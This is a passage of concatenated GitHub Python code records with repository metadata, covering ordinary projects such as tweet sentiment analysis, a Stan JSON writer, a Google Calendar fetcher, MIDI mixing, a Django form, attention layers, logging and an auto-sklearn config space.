pd\r\nimport nltk\r\nimport numpy as np\r\nfrom transformers import AutoTokenizer\r\nfrom transformers import AutoModelForSequenceClassification\r\nfrom scipy.special import softmax\r\nfrom tqdm.notebook import tqdm\r\nfrom nltk.sentiment import SentimentIntensityAnalyzer\r\n\r\n\r\ndf = pd.read_csv(\"Malaysia Tweets.csv\")\r\nexample = df['Tweet'][50]\r\n\r\nMODEL = f\"cardiffnlp/twitter-roberta-base-sentiment\"\r\ntokenizer = AutoTokenizer.from_pretrained(MODEL)\r\nmodel = AutoModelForSequenceClassification.from_pretrained(MODEL)\r\n\r\n#Running example on ROBERTA\r\nencoded_text = tokenizer(example, return_tensors='pt')\r\noutput = model(**encoded_text)\r\nscores = output[0][0].detach().numpy()\r\nscores = softmax(scores)\r\nscores_dict = {\r\n 'Roberta_Neg' : scores[0],\r\n 'Roberta_Neu' : scores[1],\r\n 'Roberta_Pos' : scores[2]\r\n}\r\n\r\ndef polarity_scores_roberta(example):\r\n encoded_text = tokenizer(example, return_tensors='pt')\r\n output = model(**encoded_text)\r\n scores = output[0][0].detach().numpy()\r\n scores = softmax(scores)\r\n scores_dict = {\r\n 'roberta_neg' : scores[0],\r\n 'roberta_neu' : scores[1],\r\n 'roberta_pos' : scores[2]\r\n }\r\n return scores_dict\r\n\r\n#Whole Data set on ROBERTA\r\nres = {}\r\nfor i, row in tqdm(df.iterrows(), total=len(df)):\r\n text = row['Tweet']\r\n myid = row['User']\r\n #roberta_result = polarity_scores_roberta(text)\r\n res[myid] = polarity_scores_roberta(text)\r\n\r\nprint(pd.DataFrame(res).T)\r\npd.DataFrame(res).T.to_csv('Malaysia Sentiment ROBERTA.csv')","repo_name":"happygoluckycodeeditor/senti-analysis-malaysia","sub_path":"Roberta_Sentiment FINAL.py","file_name":"Roberta_Sentiment FINAL.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37872979260","text":"\"\"\"\nUtilities for writing Stan Json files\n\"\"\"\nimport json\nfrom collections.abc import Collection\nfrom typing import Any, List, Mapping\n\nimport numpy as np\n\n\ndef serialize_complex(c: Any) -> List[float]:\n if isinstance(c, complex):\n return [c.real, c.imag]\n else:\n raise TypeError(f\"Unserializable type: {type(c)}\")\n\n\ndef write_stan_json(path: str, data: Mapping[str, Any]) -> None:\n \"\"\"\n Dump a mapping of strings to data to a JSON file.\n\n Values can be any numeric type, a boolean (converted to int),\n or any collection compatible with :func:`numpy.asarray`, e.g a\n :class:`pandas.Series`.\n\n Produces a file compatible with the\n `Json Format for Cmdstan\n `__\n\n :param path: File path for the created json. Will be overwritten if\n already in existence.\n\n :param data: A mapping from strings to values. This can be a dictionary\n or something more exotic like an :class:`xarray.Dataset`. This will be\n copied before type conversion, not modified\n \"\"\"\n data_out = {}\n for key, val in data.items():\n if val is not None:\n if isinstance(val, (str, bytes)) or (\n type(val).__module__ != 'numpy'\n and not isinstance(val, (Collection, bool, int, float))\n ):\n raise TypeError(\n f\"Invalid type '{type(val)}' provided to \"\n + f\"write_stan_json for key '{key}'\"\n )\n try:\n # handles cases like val == ['hello']\n np.isfinite(val)\n except TypeError:\n # pylint: disable=raise-missing-from\n raise ValueError(\n \"Invalid type provided to \"\n f\"write_stan_json for key '{key}' \"\n f\"as part of collection {type(val)}\"\n )\n\n if type(val).__module__ == 'numpy':\n data_out[key] = val.tolist()\n elif isinstance(val, Collection):\n data_out[key] = np.asarray(val).tolist()\n elif isinstance(val, bool):\n data_out[key] = int(val)\n else:\n data_out[key] = val\n\n with open(path, 'w') as fd:\n json.dump(data_out, fd, default=serialize_complex)\n","repo_name":"rick-25/stock-prediction-backend","sub_path":"lib/python3.10/site-packages/cmdstanpy/utils/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"14746747979","text":"from __future__ import print_function\n\nimport datetime\nimport os.path\n\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nfrom datetime import date\nimport json\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = ['https://www.googleapis.com/auth/calendar.readonly']\n\n\ndef main():\n \"\"\"Shows basic usage of the Google Calendar API.\n Prints the start and name of the next 10 events on the user's calendar.\n \"\"\"\n creds = None\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('static/token.json'):\n creds = Credentials.from_authorized_user_file('static/token.json', SCOPES)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'static/credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('static/token.json', 'w') as token:\n token.write(creds.to_json())\n\n try:\n service = build('calendar', 'v3', credentials=creds)\n\n # Call the Calendar API\n now = datetime.datetime.utcnow().isoformat() + 'Z' # 'Z' indicates UTC time\n today = date.today()\n tomorrow = datetime.date.today() + datetime.timedelta(days=1) \n tmax = datetime.datetime.utcnow() + datetime.timedelta(hours=12)\n timemax = tmax.isoformat() + 'Z' \n events_result = service.events().list(calendarId='primary', timeMin=now,timeMax=timemax,\n maxResults=1, singleEvents=True,orderBy='startTime').execute()\n events = events_result.get('items', [])\n if events:\n googlejson = json.dumps(events[0]) \n #print(googlejson)\n with open('static/google.json', 'w') as f:\n f.write(googlejson)\n else:\n googlejson = {\n 'summary': 'no-event',\n 'start': {\n 'dateTime': 'no-date'\n }\n }\n #print(googlejson)\n with open('static/google.json', 'w') as f:\n json.dump(googlejson, f)\n\n if not events:\n print('No upcoming events found.')\n return\n\n except HttpError as error:\n print('An error occurred: %s' % error)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"krystofblak05/DP_smart_alarm","sub_path":"smart_alarm_app/scripts/googleCalendar.py","file_name":"googleCalendar.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43255171607","text":"import pandas as pd\r\n#df=pd.read_csv('tas_1901_2020.csv')\r\n#print(len(df))\r\ndef temperature(df):\r\n\t#print(df.columns)\r\n\tdf_copy=df.copy()\r\n\t#df_copy.columns=['Temperature - (Celsius)','Year','Statistics','Country','ISO3']\r\n\tprint(type(df_copy.Year[0]))\r\n\ts=set(df_copy['Statistics'])\r\n\tyear=[1960,1961,1962,1963,1964,1965,1966,1967,1968,1969,1970,1971,1972,1973,1974,1975,1976,1977,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991]\r\n\tussr=['RUS','UKR','UZB','KAZ','AZE','LTU','LVA','TJK','ARM','TKM','EST','GEO','MDA','KGZ'] # 1961-1991\r\n\tyugoslav=['SVK','HRV','MKD','OWID_KOS','XKX','BIH','MNE','SRB'] # 1961-1991\r\n\tdf_temp=[]\r\n\tprint(df_copy['ISO3'][0])\r\n\tfor y in year:\r\n\t\t#print(y)\r\n\t\tfor m in s:\r\n\t\t\t#print(m)\r\n\t\t\ttemp=df_copy[(df_copy['Statistics']==m) & (df_copy['Year']==y)]\r\n\t\t\tprint(temp)\r\n\t\t\tt=temp[temp['ISO3'].isin(ussr)] \r\n\t\t\t\r\n\t\t\tprint(len(t))\r\n\t\t\tif len(t)>0:df_temp.append({'Temperature - (Celsius)':sum(t['Temperature - (Celsius)'])/len(t),'Year':y,'Statistics':m,'Country':'USSR','ISO3':'228'})\r\n\t\t\tt=temp[temp['ISO3'].isin(yugoslav)]\r\n\t\t\tif len(t)>0:df_temp.append({'Temperature - (Celsius)':sum(t['Temperature - (Celsius)'])/len(t),'Year':y,'Statistics':m,'Country':'Yugoslav','ISO3':'248'})\r\n\t\t\t\r\n\t\t\r\n\tprint(len(df_temp))\r\n\tdf_copy=pd.concat([df_copy,pd.DataFrame(df_temp)],axis=0)\r\n\treturn df_copy\r\n\t\t\t\r\n#print(len(temperature(df))\t)\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\ndef get_output_schema(): \r\n return pd.DataFrame({\r\n\t'Temperature - (Celsius)':prep_decimal(),\r\n\t'Year':prep_int(),\r\n\t'Statistics':prep_string(),\r\n\t'Country':prep_string(),\r\n\t'ISO3':prep_string()\r\n})\t\t\t","repo_name":"ching-min/rice_production_survey","sub_path":"temperature.py","file_name":"temperature.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41563581425","text":"import sys\r\n\r\nalphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ' ']\r\nmorse = ['.-', '-...', '-.-.', '-..', '.', '..-.', '--.', '....', '..', '.---', '-.-', '.-..', '--', '-.', '---', '.--.', '--.-', '.-.', '...', '-', '..-', '...-', '.--', '-.--', '-.--', '--..', '/']\r\n\r\nma_conv = dict(zip(morse, alphabet))\r\nam_conv = dict(zip(alphabet, morse))\r\n\r\ndef to_english():\r\n\r\n\tstring = input(\"Enter morse code: \")\r\n\ts = string.split()\r\n\r\n\tfor i in s:\r\n\t\tprint(ma_conv[i], end='', flush=True)\r\n\r\ndef to_morse():\r\n\r\n\tstring = input(\"Enter english: \")\r\n\ts = list(string)\r\n\r\n\tfor i in s:\r\n\t\ti = i.lower()\r\n\t\tprint(\"{} \".format(am_conv[i]), end='', flush=True)\r\n\r\ndef main():\r\n\tc = input(\"1) Morse to english\\n2) English to morse\\n\")\r\n\r\n\tif c == '1':\r\n\t\tto_english()\r\n\telif c == '2':\r\n\t\tto_morse()\r\n\telse:\r\n\t\tprint('please enter a valid number')\r\n\t\tmain()\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","repo_name":"browningluke/misc-scripts","sub_path":"python/morsecode.py","file_name":"morsecode.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"23344130730","text":"'''\r\nhttps://adventofcode.com/2020/day/15\r\nGiven your starting numbers, what will be the 2020th number spoken?\r\n'''\r\n\r\nd = {0:1, 3:2, 4:3}\r\nlastD = 6\r\n\r\n\r\nfor i in range(4,11,1):\r\n if lastD in d:\r\n d[i-d[lastD]] = i\r\n print(i-d[lastD])\r\n lastD = i-d[lastD]\r\n else:\r\n d[0] = i\r\n lastD = 0\r\n print(i, 0)\r\n \r\n\r\n\r\n","repo_name":"sentoxo/Advent-Of-Code-2020","sub_path":"Day15/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13740381500","text":"import torch\nfrom tqdm import tqdm\nimport os\nimport numpy as np\nimport time\n\nfrom util import save_midi, midi_to_array\n\ndef train_one_step(args, model, optimizer, real_samples, loss_fn):\n inputs = torch.cat([real_samples[:,:,:16,:], real_samples[:,:,-16:,:]], dim = 2).clone().detach()\n\n if not args.cpu and torch.cuda.is_available():\n real_samples = real_samples.cuda()\n inputs = inputs.cuda()\n\n optimizer.zero_grad()\n\n pred = model(inputs)\n loss = loss_fn(pred, real_samples) / real_samples.shape[0]\n\n loss.backward()\n optimizer.step()\n # scheduler.step()\n\n return loss.item(), pred.detach().cpu(), real_samples.detach().cpu()\n\ndef train(args, model, dataloader, cur_epoch = 1):\n loss_fn = torch.nn.MSELoss(reduction = \"sum\")\n optimizer = torch.optim.Adam(\n model.parameters(), lr=args.lr, betas=(0.5, 0.99))\n # scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.5)\n pbar = tqdm(initial= cur_epoch, total = args.n_epochs, desc=\"Training\", unit = \"epoch\")\n for epoch in range(cur_epoch, args.n_epochs+1):\n for idx, real_samples in enumerate(dataloader):\n model.train()\n loss, pred, real = train_one_step(args, model, optimizer, real_samples[0], loss_fn)\n pbar.set_postfix_str(\"loss: {:.3f}\".format(loss))\n\n log_name = os.path.join(args.ckpoint, 'loss_log.txt')\n with open(log_name, \"a\") as log_file:\n now = time.strftime(\"%c\")\n log_file.write(\"[{}]\\tepoch: {:04d}\\tloss: {:.3f}\\n\".format(now, epoch, loss))\n\n if epoch % args.ckpoint_interval == 0:\n torch.save(model.state_dict(), os.path.join(args.ckpoint, \"epoch{:04d}.pt\".format(epoch)))\n if args.save_sample:\n prediction = pred[0].detach().cpu()\n save_midi(os.path.join(args.ckpoint, \"sample\", \"pred_epoch{:04d}.mid\".format(epoch)), prediction)\n target = real[0].detach().cpu()\n save_midi(os.path.join(args.ckpoint, \"sample\", \"target_epoch{:04d}.mid\".format(epoch)), target)\n pbar.update(1)\n pbar.close()\n\ndef mix_arr(args, model, mid1, mid2, start1, start2, margin):\n \"\"\"\n mid1, mid2: (n_tracks, length, n_pitches) array\n start1, start2: mixed point of each midi\n margin: if margin is -1, it will cover whole song.\n \"\"\"\n model.eval()\n input = np.concatenate((mid1[:,start1:start1+16,:], mid2[:,start2:start2+16,:]), axis = -2)\n input = torch.as_tensor(input, dtype=torch.float32, device = args.device).unsqueeze(0)\n pred = model(input).detach().cpu().squeeze()\n if margin == -1:\n mixed = np.concatenate((mid1[:, :start1, :], pred, mid2[:, start2 + 16:, :]),\n axis=-2)\n else:\n mixed = np.concatenate((mid1[:,start1-margin:start1,:], pred, mid2[:,start2+16:start2+16+margin,:]), axis = -2)\n return mixed\n\ndef mix(args, model):\n mid1 = midi_to_array(args.midi_path1)\n mid2 = midi_to_array(args.midi_path2)\n mixed = mix_arr(args, model, mid1, mid2, args.start1, args.start2, args.mix_margin)\n if args.midi_save_dir.endswith(\".mid\"):\n save_midi(args.midi_save_dir, mixed)\n mixed_name = os.path.basename(args.midi_save_dir)\n else:\n mixed_name = \"{}+{}.mid\".format(os.path.basename(args.midi_path1).split(\".\")[0], os.path.basename(args.midi_path2).split(\".\")[0])\n save_midi(os.path.join(args.midi_save_dir, mixed_name), mixed)\n print(\"{} is saved in {}\".format(mixed_name, args.midi_save_dir))\n","repo_name":"ToBigsSound-1516/transition","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18698446836","text":"from datetime import datetime\nfrom decimal import Decimal\nfrom django import forms\nfrom bradmin.forms.base_model_form import BRBaseModelForm\nfrom bradmin.forms.fields.br_model_choice_field import BRBaseModelChoiceField\nfrom bradmin.forms.formsets.br_base_formset import BRBaseFormSet\nfrom ecommerce.models.rent_plan import RentPlan\nfrom ecommerce.models.sales.rent_plan_relation import RentPlanRelation\nfrom engine.clock.Clock import Clock\nfrom generics.libs.loader.loader import load_model\nfrom generics.libs.utils import get_tz_from_request\n\n\nclass AdminRentPlanForm(BRBaseModelForm):\n\n def __init__(self, *args, **kwargs):\n super(AdminRentPlanForm, self).__init__(*args, **kwargs)\n self.fields[\"name\"].required = True\n self.fields[\"days\"].widget.attrs[\"min\"] = 1\n\n class Meta:\n model = RentPlan\n fields = [\"name\", \"days\", \"is_active\"]\n\n\nclass AdminRentPlanRelationForm(BRBaseModelForm):\n\n rent_plan = BRBaseModelChoiceField(queryset=RentPlan.objects.all(), label=\"Select Plan\",\n widget=forms.Select(attrs={\"class\": \"form-control\",\n \"style\": \"min-width: 140px;\"}))\n\n start_date = forms.CharField(label=\"Start Date\",\n widget=forms.TextInput(attrs={\"class\": \"form-control\"}))\n\n end_date = forms.CharField(label=\"End Date\",\n widget=forms.TextInput(attrs={\"class\": \"form-control\"}))\n\n def __init__(self, *args, **kwargs):\n if \"request\" in kwargs:\n self.request = kwargs.pop('request')\n else:\n self.request = None\n super(AdminRentPlanRelationForm, self).__init__(*args, **kwargs)\n if not self.instance.pk:\n initial_plan = kwargs.get(\"initial\", None)\n if initial_plan:\n initial_plan = initial_plan.get(\"rent_plan\", None)\n if initial_plan:\n self.fields[\"rent_plan\"].queryset = RentPlan.objects.filter(pk=initial_plan)\n self.fields[\"rent_plan\"].empty_label = None\n self.fields[\"rent_rate\"].widget.attrs[\"class\"] = \"form-control\"\n self.fields[\"rent_rate\"].widget.attrs[\"style\"] = \"min-width: 120px;\"\n self.fields[\"rent_rate\"].widget.attrs[\"min\"] = \"1.0\"\n self.fields[\"rent_rate\"].required = True\n\n self.fields[\"is_special_offer\"].widget.attrs[\"style\"] = \"min-width: 120px;\"\n\n self.fields[\"special_rate\"].widget.attrs[\"class\"] = \"form-control\"\n self.fields[\"special_rate\"].widget.attrs[\"style\"] = \"min-width: 120px;\"\n self.fields[\"special_rate\"].required = True\n self.fields[\"special_rate\"].widget.attrs[\"min\"] = \"1.0\"\n\n self.fields[\"start_date\"].widget.attrs[\"class\"] = \"form-control\"\n self.fields[\"start_date\"].widget.attrs[\"style\"] = \"min-width: 120px;\"\n self.fields[\"start_date\"].widget.attrs[\"readonly\"] = \"readonly\"\n self.fields[\"start_date\"].required = True\n\n self.fields[\"end_date\"].widget.attrs[\"class\"] = \"form-control\"\n self.fields[\"end_date\"].widget.attrs[\"style\"] = \"min-width: 120px;\"\n self.fields[\"end_date\"].widget.attrs[\"readonly\"] = \"readonly\"\n self.fields[\"end_date\"].required = True\n\n\n class Meta:\n model = RentPlanRelation\n fields = [\"rent_plan\", \"rent_rate\", \"is_special_offer\", \"special_rate\", \"start_date\", \"end_date\"]\n\n def is_valid(self):\n prefix = self.prefix\n rent_plan = self.data.get(prefix + \"-rent_plan\")\n rent_rate = self.data.get(prefix + \"-rent_rate\")\n is_special_offer = self.data.get(prefix + \"-is_special_offer\")\n special_rate = self.data.get(prefix + \"-special_rate\")\n start_time = self.data.get(prefix + \"-start_date\")\n end_time = self.data.get(prefix + \"-end_date\")\n rent_plan = RentPlan.objects.get(pk=int(rent_plan))\n if not rent_rate:\n return False\n try:\n rent_rate = Decimal(rent_rate)\n except:\n return False\n is_special_offer = 0 if not is_special_offer else 1\n is_special_offer = bool(is_special_offer)\n if is_special_offer:\n if any([not special_rate, not start_time, not end_time]):\n return False\n try:\n special_rate = Decimal(special_rate)\n except:\n return False\n\n try:\n start_time = datetime.strptime(start_time, \"%m/%d/%Y\")\n end_time = datetime.strptime(end_time, \"%m/%d/%Y\")\n except:\n return False\n self.cleaned_data = {}\n self.cleaned_data[\"rent_plan\"] = rent_plan\n self.cleaned_data[\"rent_rate\"] = rent_rate\n self.cleaned_data[\"is_special_offer\"] = is_special_offer\n if is_special_offer:\n self.cleaned_data[\"special_rate\"] = special_rate\n if start_time != \"0\":\n self.cleaned_data[\"start_time\"] = Clock.convert_datetime_to_utc_timestamp(start_time)\n else:\n self.cleaned_data[\"start_time\"] = 0\n if end_time != \"0\":\n self.cleaned_data[\"end_time\"] = Clock.convert_datetime_to_utc_timestamp(end_time)\n else:\n self.cleaned_data[\"end_time\"] = 0\n return True\n\n def save(self, commit=True, **kwargs):\n price_matrix_instance = kwargs.get(\"price_matrix_instance\")\n rent_plan_relation_instances = RentPlanRelation.objects.filter(price_matrix_id=price_matrix_instance.pk,\n plan_id=self.cleaned_data[\"rent_plan\"].pk)\n if rent_plan_relation_instances.exists():\n self.instance = rent_plan_relation_instances.first()\n else:\n self.instance = RentPlanRelation()\n\n self.instance.plan_id = self.cleaned_data[\"rent_plan\"].pk\n self.instance.price_matrix_id = price_matrix_instance.pk\n self.instance.rent_rate = self.cleaned_data[\"rent_rate\"]\n self.instance.is_special_offer = self.cleaned_data[\"is_special_offer\"]\n if self.instance.is_special_offer:\n self.instance.special_rate = self.cleaned_data[\"special_rate\"]\n self.instance.start_time = self.cleaned_data[\"start_time\"]\n self.instance.end_time = self.cleaned_data[\"end_time\"]\n else:\n self.instance.special_rate = Decimal(0.0)\n self.instance.start_time = 0\n self.instance.end_time = 0\n self.instance.save()\n return self.instance\n\n\nclass AdminRentPlanFormSet(BRBaseFormSet):\n\n def is_valid(self):\n return super(AdminRentPlanFormSet, self).is_valid()\n\n\n","repo_name":"codenginebd/obr","sub_path":"bradmin/forms/admin_rent_plan_relation_forms.py","file_name":"admin_rent_plan_relation_forms.py","file_ext":"py","file_size_in_byte":6679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73121302886","text":"class Node(object):\r\n\r\n def __init__( self, name ):\r\n self.name = name\r\n self.neighbors = []\r\n\r\nclass GraphALN(object):\r\n\r\n def __init__( self, cities ):\r\n self.nodes = {}\r\n\r\n for city in cities:\r\n self.nodes[ city ] = Node( city )\r\n\r\n def addEdge(self, source, dest, is_directed=False ):\r\n self.nodes[ source ].neighbors.append( dest )\r\n\r\n if( not is_directed ):\r\n self.nodes[ dest ].neighbors.append( source )\r\n\r\n def printGraph( self ):\r\n for name, node in self.nodes.items():\r\n print( \"{} -> {}\".format( name, \", \".join(node.neighbors) ) ) \r\n\r\n\r\nif( __name__ == '__main__' ):\r\n cities = [\"Delhi\", \"London\", \"Paris\", \"New York\", ]\r\n g = GraphALN( cities )\r\n\r\n g.addEdge( \"Delhi\", \"London\", True )\r\n g.addEdge( \"New York\", \"London\", True )\r\n g.addEdge( \"Delhi\", \"Paris\", True )\r\n g.addEdge( \"Paris\", \"New York\", True )\r\n\r\n g.printGraph()","repo_name":"bit-meddler/skunkWorks","sub_path":"graphLearning/adjListHash.py","file_name":"adjListHash.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"29772929451","text":"import torch\r\nimport torch.nn as nn\r\nimport math\r\n\r\n\r\nclass Attention(nn.Module):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n @staticmethod\r\n def forward(query, key, value, mask=None, dropout=None):\r\n print(query.size(-1))\r\n score = torch.matmul(query, key.transpose(-2, -1) / math.sqrt(query.size(-1)))\r\n\r\n if mask is not None:\r\n score = score.masked_fill(mask == 0, -torch.inf)\r\n\r\n p_attn = torch.softmax(score, dim=-1)\r\n\r\n print(score[mask == 0])\r\n\r\n if dropout is not None:\r\n p_attn = dropout(p_attn)\r\n\r\n return torch.matmul(p_attn, value), p_attn\r\n\r\n\r\nclass MultiHeadAttention(nn.Module):\r\n def __init__(self, h, d_model, dropout=0.1):\r\n super().__init__()\r\n\r\n self.dropout = dropout\r\n\r\n self.h = h # the number of attention head\r\n self.d_k = d_model // h # the dimension size for one head\r\n\r\n self.q = nn.Linear(d_model, d_model)\r\n self.k = nn.Linear(d_model, d_model)\r\n self.v = nn.Linear(d_model, d_model)\r\n\r\n self.attention = Attention()\r\n\r\n self.dropout = nn.Dropout(p=dropout)\r\n\r\n def forward(self, query, key, value, mask=None):\r\n batch_size = query.shape[0]\r\n\r\n query = self.q(query).view(batch_size, -1, self.h, self.d_k)\r\n key = self.k(key).view(batch_size, -1, self.h, self.d_k)\r\n value = self.v(value).view(batch_size, -1, self.h, self.d_k)\r\n\r\n x, attn = self.attention(query, key, value, mask, self.dropout)\r\n\r\n x = x.reshape(batch_size, -1, self.h * self.d_k)\r\n\r\n return x\r\n\r\n\r\nif __name__ == \"__main__\":\r\n transformer = MultiHeadAttention(5, 10)\r\n\r\n q = torch.tensor([[[1, 2, 3, 4, 5, 6, 7, 8, 9, 10], [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]]], dtype=torch.float)\r\n k = torch.tensor([[[1, 2, 3, 4, 5, 6, 7, 8, 9, 10], [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]]], dtype=torch.float)\r\n v = torch.tensor([[[1, 2, 3, 4, 5, 6, 7, 8, 9, 10], [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]]], dtype=torch.float)\r\n\r\n out = transformer(q, k, v)\r\n\r\n","repo_name":"BWAAEEEK/Transformer-Implementation-Pytorch","sub_path":"attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"111020364","text":"import os\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom model_nnfs import *\n\n\n# Loads a MNIST dataset\ndef load_mnist_dataset(dataset, path):\n # Scan all the directories and create a list of labels\n labels = os.listdir(os.path.join(path, dataset))\n\n # Create lists for samples and labels\n X = []\n y = []\n\n for label in labels:\n print(f\"Loading {dataset} item {label}\")\n for file in os.listdir(os.path.join(path, dataset, label)):\n # Read the image\n image = cv2.imread(os.path.join(path, dataset, label, file), cv2.IMREAD_UNCHANGED)\n \n X.append(image)\n y.append(label)\n \n # Convert the data to proper numpy arrays and return\n return np.array(X), np.array(y).astype('uint8')\n\n\n# MNIST dataset (train + test)\ndef create_data_mnist(path):\n # Load both sets separately\n X, y = load_mnist_dataset('train', path)\n X_test, y_test = load_mnist_dataset('test', path)\n\n return X, y, X_test, y_test\n\n\n\ndata_path = r\"NNs\\fashion_MNIST_data\"\nX, y, X_test, y_test = create_data_mnist(data_path)\n\n# Shuffle the training dataset\nkeys = np.array(range(X.shape[0]))\nnp.random.shuffle(keys)\nX = X[keys]\ny = y[keys]\n\n# Scale and reshape samples\nX = (X.reshape(X.shape[0], -1).astype(np.float32) - 127.5) / 127.5\nX_test = (X_test.reshape(X_test.shape[0], -1).astype(np.float32) -\n 127.5) / 127.5\n\n# Instantiate the model\nmodel = Model()\n\n\n# Add layers\nmodel.add(Layer_Dense(X.shape[1], 128))\nmodel.add(Activation_ReLU())\nmodel.add(Layer_Dense(128, 128))\nmodel.add(Activation_ReLU())\nmodel.add(Layer_Dense(128, 10))\nmodel.add(Activation_Softmax())\n\n# Set loss, optimizer and accuracy objects\nmodel.set(\n loss=Loss_CategoricalCrossentropy(),\n optimizer=Optimizer_Adam(decay=1e-3),\n accuracy=Accuracy_Categorical()\n)\n\n# Finalize the model\nmodel.finalize()\n\n# Train the model\nmodel.train(X, y, validation_data=(X_test, y_test),\n epochs=10, batch_size=128, print_every=100)\n\nmodel.evaluate(X_test, y_test)\n\n# Retrieve and print parameters\nparameters = model.get_parameters()\n\nmodel.save('fashion_mnist.model')\n# Load the model\nmodel2 = Model.load('fashion_mnist.model')\n# Evaluate the model\nmodel2.evaluate(X_test, y_test)","repo_name":"unit0113/projects","sub_path":"ML/NNFS/nnfs_fashion.py","file_name":"nnfs_fashion.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8576883373","text":"import logging\n \nlogging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')\nlogger = logging.getLogger(__name__)\n \nlogger.info('This is a log info')\nlogger.debug('Debugging')\nlogger.warning('Warning exists')\nlogger.info('Finish')\n\n\n###直接在终端打印,所以直接把日志生成到文件\n\n\n\n\n#!/usr/bin/env python\n#coding:utf-8\n\nimport logging,logging.handlers\n\ndef WriteLog(log_name):\n log_filename = \"/tmp/testlog\"\n log_level = logging.DEBUG\n format = logging.Formatter('%(asctime)s %(filename)s [line:%(lineno)2d]-%(funcName)s %(levelname)s %(message)s')\n handler = logging.handlers.RotatingFileHandler(log_filename, mode='a', maxBytes=10*1024*1024, backupCount=5)\n handler.setFormatter(format)\n\n logger = logging.getLogger(log_name)\n logger.addHandler(handler)\n logger.setLevel(log_level)\n return logger \n\nif __name__ == \"__main__\":\n WriteLog(\"api\").info(\"123\")\n# writelog = WriteLog(\"api\")\n# writelog.info(\"123\")\n","repo_name":"xiaoluoge11/python","sub_path":"loggin/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"39142809986","text":"from ConfigSpace.configuration_space import ConfigurationSpace\r\nfrom ConfigSpace.hyperparameters import UniformFloatHyperparameter,\\\r\n CategoricalHyperparameter, Constant\r\nfrom ConfigSpace.forbidden import ForbiddenEqualsClause, \\\r\n ForbiddenAndConjunction\r\nfrom automl.utl import json_utils\r\n\r\ncs = ConfigurationSpace()\r\n\r\npenalty = CategoricalHyperparameter(\r\n \"penalty\", [\"l1\", \"l2\"], default_value=\"l2\")\r\nloss = CategoricalHyperparameter(\r\n \"loss\", [\"hinge\", \"squared_hinge\"], default_value=\"squared_hinge\")\r\ndual = Constant(\"dual\", \"False\")\r\n# This is set ad-hoc\r\ntol = UniformFloatHyperparameter(\r\n \"tol\", 1e-5, 1e-1, default_value=1e-4, log=True)\r\nC = UniformFloatHyperparameter(\r\n \"C\", 0.03125, 32768, log=True, default_value=1.0)\r\nmulti_class = Constant(\"multi_class\", \"ovr\")\r\n# These are set ad-hoc\r\nfit_intercept = Constant(\"fit_intercept\", \"True\")\r\nintercept_scaling = Constant(\"intercept_scaling\", 1)\r\ncs.add_hyperparameters([penalty, loss, dual, tol, C, multi_class,\r\n fit_intercept, intercept_scaling])\r\n\r\npenalty_and_loss = ForbiddenAndConjunction(\r\n ForbiddenEqualsClause(penalty, \"l1\"),\r\n ForbiddenEqualsClause(loss, \"hinge\")\r\n)\r\nconstant_penalty_and_loss = ForbiddenAndConjunction(\r\n ForbiddenEqualsClause(dual, \"False\"),\r\n ForbiddenEqualsClause(penalty, \"l2\"),\r\n ForbiddenEqualsClause(loss, \"hinge\")\r\n)\r\npenalty_and_dual = ForbiddenAndConjunction(\r\n ForbiddenEqualsClause(dual, \"False\"),\r\n 